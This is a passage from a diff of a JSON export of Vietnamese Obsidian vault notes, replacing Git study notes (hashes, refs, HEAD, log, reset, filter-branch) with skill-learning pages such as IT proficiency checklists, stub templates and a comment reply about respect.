Labs\n- McKinsey, 2021, [Defining the skills citizens will need in the future world of work](https://www.mckinsey.com/industries/public-sector/our-insights/defining-the-skills-citizens-will-need-in-the-future-world-of-work \"Future-citizen skills | McKinsey\")\n- Nguyễn Văn Thắng et al, 2020, [Việc Làm Và Gia Nhập Thị Trường Lao Động Của Sinh Viên Việt Nam Sau Khi Tốt Nghiệp](https://drive.google.com/file/d/1NNKGUYn2oAZ2cAajuqBxLGtEzdOO72aB/view)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cd" + "id": "gP" }, { - "Tiêu đề": "Có thể xem nội dung file với hash là như nhau. Nhưng file thì có thể có kích thước vô cùng lớn, còn hash thì luôn chỉ có 40 ký tự", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Có thể xem nội dung file với hash là như nhau. Nhưng file thì có thể có kích thước vô cùng lớn, còn hash thì luôn chỉ có 40 ký tự", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Khảo sát sau chia sẻ", + "URL": "https://kỹnăng.quảcầu.cc/📐 Dự án/5 Thành phẩm/Các buổi chia sẻ kỹ năng miễn phí với nhau/Khảo sát sau chia sẻ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Tên dự án": "5 Thành phẩm", + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\r\n\r\n[Is Hashing Encryption? #shorts #encryption #hashing #password - YouTube](https://youtube.com/shorts/4FsmgvUomVc?si=urQBnmlBrWVX1U6S)\r\n\r\n\r\n[[Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng|Có thể hiểu blob là hash của một file, tree là hash của một folder. Điều đó cũng có nghĩa là, commit thực ra chỉ là hash của folder tổng mà thôi.]] ", + "Toàn bộ nội dung": "Bạn cảm thấy ấn tượng với những phần nào\nBạn thấy mình học hỏi được thêm nhiều\nNhận xét của bạn về người chia sẻ thế nào\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-21T05:43:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "ce" + "id": "gQ" }, { - "Tiêu đề": "Key là hash của object, value là nội dung object", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Key là hash của object, value là nội dung object", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tôn trọng", + "URL": "https://kỹnăng.quảcầu.cc/📐 Dự án/Trả lời bình luận/Tôn trọng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Tên dự án": "Trả lời bình luận", + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Mình thừa nhận mình đã nhầm ý của bạn Tuấn Anh từ từ đồng nghĩa thành từ đồng âm. Và mình cũng chẳng có vấn đề gì khi thừa nhận là mình có kiến thức yếu về xử lý dữ liệu, ngôn ngữ mà lại còn có nhiều giả định. Nhưng nếu bạn muốn nói về thái độ thì bạn phải bàn về sự tiếp nhận về thái độ của bạn. Làm sao bạn biết chắc là mình không hỏi với thái độ cầu thị? Làm sao bạn biết chắc là mình không có hiểu biết về ngôn ngữ học? Đọc qua vài chữ mà bạn đã phán xét như vậy, thì bạn có đang có ít hiểu biết về kiến thức về nền tảng của mình mà lại có nhiều giả định không? Trong cuộc đời bạn có bao giờ bạn thực sự muốn hỏi mà bị người khác cho là thiếu tôn trọng, và bạn chẳng biết mình đã thiếu tôn trọng họ thế nào chưa? Và cái thái độ của bạn khi nói \"bố thí\", \"không xứng đáng được dạy\" là như thế nào? Nếu không gọi nó là trịch thượng thì nên gọi là gì? Và bạn cũng hãy cho mình biết để dạy được một người thì cần có những phẩm chất nào. Mình đồng ý bạn có kiến thức, nhưng vì bạn lôi chủ đề này ra nói nên mình muốn xem bạn tự đánh giá năng lực sư phạm của bản thân thế nào.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cf" + "Ngày cập nhật": "2024-01-08T13:32:00.000Z", + "id": "gR" }, { - "Tiêu đề": "Ref là hệ thống đặt tên các object", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Ref là hệ thống đặt tên các object", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Công nghệ thông tin", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Git Internals - Creating a Repo From Scratch - YouTube](https://youtu.be/52MFjdGH20o?si=qM_C80JcARgK2FuE&t=316)", + "Toàn bộ nội dung": "Mô tả::\n# Đầu vào\n# Đầu ra\n# Tài liệu\nhttps://tuhocict.com/ngon-ngu-lap-trinh-nen-biet/\n![](https://youtu.be/SzJ46YA_RaA)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cg" + "id": "gS" }, { - "Tiêu đề": "@ là viết tắt của HEAD", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/@ là viết tắt của HEAD", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Dùng VScode, vim, emacs", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Kỹ năng nhỏ hơn/Dùng VScode, vim, emacs", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[HEAD là commit hiện tại]] ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "ch" + "id": "gT" }, { - "Tiêu đề": "Git không biết gì về folder", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/Git không biết gì về folder", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Kỹ năng nhỏ hơn", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Kỹ năng nhỏ hơn", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Thêm một tệp rỗng vào thư mục để Git hiểu là nó không rỗng", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T08:45:00.000Z", - "id": "ci" + "id": "gU" }, { - "Tiêu đề": "git log giúp xem lịch sử các commit", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/git log giúp xem lịch sử các commit", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Làm việc với hệ điều hành", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Kỹ năng nhỏ hơn/Làm việc với hệ điều hành", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Lệnh | Ý nghĩa |\r\n| --------------------------- | -------------------------------------------------- |\r\n| `git log` | Xem các danh sách các commit |\r\n| `git log --oneline` | Chỉ xem tên |\r\n| `git log --oneline --graph` | Xem sơ đồ các commit |\r\n| `git log ` | Xem danh sách các commit từ `` đó về trước |\r\n\r\n[[git reflog giúp xem lại các ref không có trong lịch sử commit]]", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=20kỹ%20năng%20Làm%20việc%20với%20hệ%20điều%20hành\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Làm%20việc%20với%20hệ%20điều%20hành\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=%20Làm%20việc%20với%20hệ%20điều%20hành\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Làm%20việc%20với%20hệ%20điều%20hành\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Tài liệu\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cj" + "id": "gV" }, { - "Tiêu đề": "git reflog giúp xem lại các ref không có trong lịch sử commit", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/git reflog giúp xem lại các ref không có trong lịch sử commit", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Làm website", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Kỹ năng nhỏ hơn/Làm website", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Ref là hệ thống đặt tên các object]]\r\n", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=kỹ%20năng%20Làm%20website\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Làm%20website\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=Làm%20website\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năngLàm%20website\r\n> ```\r\n\r\n# Mức độ thành thạo\r\n# Thử thách\r\n1. [ ] Mua host, domain, cài WordPress\r\n2. [ ] Biết xài HTML/CSS\r\n3. [ ] Dùng FTP\r\n4. [ ] Dùng PHP/viết plugin\r\n# Khu trưng bày\r\n# Lợi ích có được từ việc thành thạo\r\n# Tài liệu\r\n## Kỹ năng liên quan\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "ck" + "id": "gW" }, { - "Tiêu đề": "HEAD là commit hiện tại", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/HEAD là commit hiện tại", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Quản lý cơ sở dữ liệu", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Kỹ năng nhỏ hơn/Quản lý cơ sở dữ liệu", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=20kỹ%20năng%20Quản%20lý%20cơ%20sở%20dữ%20liệu\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Quản%20lý%20cơ%20sở%20dữ%20liệu\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=%20Quản%20lý%20cơ%20sở%20dữ%20liệu\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Quản%20lý%20cơ%20sở%20dữ%20liệu\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Tài liệu\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cl" + "id": "gX" }, { - "Tiêu đề": "Reset soft dùng để gộp nhiều commit lại với nhau. Reset hard dùng để xoá bỏ những gì đã ghi sau commit được chọn", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/Reset soft dùng để gộp nhiều commit lại với nhau. Reset hard dùng để xoá bỏ những gì đã ghi sau commit được chọn", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Quản trị hệ thống thông tin", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Kỹ năng nhỏ hơn/Quản trị hệ thống thông tin", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cm" + "id": "gY" }, { - "Tiêu đề": "stash pop nếu gặp conflict sẽ không pop", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/stash pop nếu gặp conflict sẽ không pop", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "1 Tin học văn phòng", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Mức độ thành thạo/1 Tin học văn phòng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [‘git stash pop’ considered harmful | Coding Killed the Cat](https://codingkilledthecat.wordpress.com/2012/04/27/git-stash-pop-considered-harmful/)", + "Toàn bộ nội dung": "- [ ] [[Đánh bàn phím bằng 10 ngón tay]]\r\n- [ ] [[Dùng phím tắt]]\r\n- [ ] [[Hiểu những tính năng của hệ điều hành]]\r\n- [ ] Word, Excel, PowerPoint\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cn" + "id": "gZ" }, { - "Tiêu đề": "Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "2 Sử dụng thành thạo", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Mức độ thành thạo/2 Sử dụng thành thạo", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\n", + "Toàn bộ nội dung": "- [ ] Tự động hóa các thao tác lặp đi lặp lại \r\n- [ ] Tự cài wifi\r\n- [ ] Tự cài hệ điều hành\r\n- [ ] Hiểu về phần mềm mã nguồn mở\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "co" + "id": "ga" }, { - "Tiêu đề": "Việc commit giúp ta phá code mà không sợ gì, giống như có đồ bảo hộ rồi thì tha hồ nghịch điện cao thế", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/Việc commit giúp ta phá code mà không sợ gì, giống như có đồ bảo hộ rồi thì tha hồ nghịch điện cao thế", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "3 Làm quen với lập trình", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Mức độ thành thạo/3 Làm quen với lập trình", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit]]\nKhi nào biết cách sửa rồi thì chỉ cần `git reset --hard` là xong\n\nChính vì như vậy, nên [[Git giúp ta du hành thời gian]]", + "Toàn bộ nội dung": "- [ ] Bắt đầu dùng terminal\r\n- [ ]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cp" + "id": "gb" }, { - "Tiêu đề": "~ và ^ là để chỉ các commit trước đó", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/~ và dấu mũ là để chỉ các commit trước đó", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "5 Tiếp cận bài bản", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Mức độ thành thạo/5 Tiếp cận bài bản", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\nG H I J\n \\ / \\ /\n D E F\n \\ | / \\\n \\ | / |\n \\|/ |\n B C\n \\ /\n \\ /\n A\n\nA = = A^0\nB = A^ = A^1 = A~1\nC = A^2\nD = A^^ = A^1^1 = A~2\nE = B^2 = A^^2\nF = B^3 = A^^3\nG = A^^^ = A^1^1^1 = A~3\nH = D^2 = B^^2 = A^^^2 = A~2^2\nI = F^ = B^3^ = A^^3^\nJ = F^2 = B^3^2 = A^^3^2\n```\n\n\nLưu ý: `A~2 = D`, nhưng `A^2 = C`\n\n> [!tip] Cách nhớ\n> - `~` nằm ngang nên nó chỉ đi thẳng\n> - `^` có sự hội tụ giữa hai đường nên nó là dành cho merge\n\n[![Illustration of relative references in Git](https://i.stack.imgur.com/Ye1H7.jpg)](https://i.stack.imgur.com/Ye1H7.jpg)\n\n[[HEAD là commit hiện tại]]. [[@ là viết tắt của HEAD]]\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [What's the difference between HEAD^ and HEAD\\~ in Git? - Stack Overflow](https://stackoverflow.com/q/2221658/3416774)\n\n", + "Toàn bộ nội dung": "- [ ] Đọc giáo trình của sinh viên \r\n\t- [Hướng dẫn tự học lập trình PHP | Tự học ICT](https://tuhocict.com/huong-dan-tu-hoc-lap-trinh-php/)\r\n\t- [Kì Học Bị Thiếu Của Giáo Trình Khoa Học Máy Tính · the missing semester of your cs education](https://missing-semester-vn.github.io/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cq" + "id": "gc" }, { - "Tiêu đề": "Các lệnh Git thường dùng. Các lỗi Git thường gặp", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Các lệnh Git thường dùng. Các lỗi Git thường gặp", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "6 Khám phá vùng đất ICT", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Mức độ thành thạo/6 Khám phá vùng đất ICT", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Các lệnh Git thường dùng\n## Xem danh sách tất cả commit\n```bash\ngit log --oneline\n```\n## Xem danh sách tất cả file trong commit mình chọn\n```bash\ngit diff-tree --no-commit-id --name-only -r \n```\n\n## Đọc nội dung một file trong một commit cũ\n```\ngit show :/path/to/file\n```\nNếu muốn mở trong vim thì:\n```\ngit show :/path/to/file | vim -\n```\nNhược điểm của việc này là vì vim đọc trực tiếp từ stdin, nên không biết định dạng file là gì để mà tô màu. Có thể sửa việc này bằng:\n```\ngit show :/path/to/file | vim -c 'set filetype=python' -\n```\n\n\n# Các lỗi Git thường gặp \n## Quên add\n## Không thấy folder mình tạo được add\nLý do:: [[Git không biết gì về folder]]\n## Thêm file vào .gitignore rồi mà vẫn không thấy file bị ignore\n## Lỡ commit file nặng\n```\ngit filter-branch --force --index-filter 'git rm -r --cached --ignore-unmatch bigfile.txt' --prune-empty --tag-name-filter cat -- --all\n```", + "Toàn bộ nội dung": "[GitHub - sindresorhus/awesome: 😎 Awesome lists about all kinds of interesting topics](https://github.com/sindresorhus/awesome)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T08:43:00.000Z", - "id": "cr" + "id": "gd" }, { - "Tiêu đề": "Facebook chuyển sang Mercurial vì nhóm phát triển Git năm 2012 không mặn mà với monorepo", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Facebook chuyển sang Mercurial vì nhóm phát triển Git năm 2012 không mặn mà với monorepo", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sử dụng bàn phím thành thạo", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Công nghệ thông tin/Thử thách/Sử dụng bàn phím thành thạo", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Why doesn't Facebook use git? - YouTube](https://youtu.be/0BNVkMoLJxc?si=LieM__1vPX504zHK)", + "Toàn bộ nội dung": "Mô tả::\r\n# Thử thách\r\n- [ ] [[Đánh bàn phím bằng 10 ngón tay]]\r\n- [ ] Sử dụng phím tắt\r\n- [ ] Dùng AutoHotKey\r\n- [ ] Dùng Vim/Emacs\r\n# Mức độ thành thạo\r\n# Tài liệu\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cs" + "id": "ge" }, { - "Tiêu đề": "diff does not take into account untracked files", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/diff does not take into account untracked files", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Chuyển giao hiểu biết", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Chuyển giao hiểu biết", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T17:04:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "ct" + "id": "gf" }, { - "Tiêu đề": "git diff", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/git diff", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Hậu cần – logistics", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Hậu cần – logistics", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```bash\r\ngit diff -- \r\n```\r\n```bash\r\ngit diff : :\r\n```\r\n", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=20kỹ%20năng%20Hậu%20cần%20–%20logistics\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Hậu%20cần%20–%20logistics\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=%20Hậu%20cần%20–%20logistics\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Hậu%20cần%20–%20logistics\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n\r\n# Tài liệu\r\n[[Chọn nơi họp]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cu" + "id": "gg" }, { - "Tiêu đề": "git status giúp xem những file nào đã được vào stage", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/git status giúp xem những file nào đã được vào stage", - "Kho thông tin": 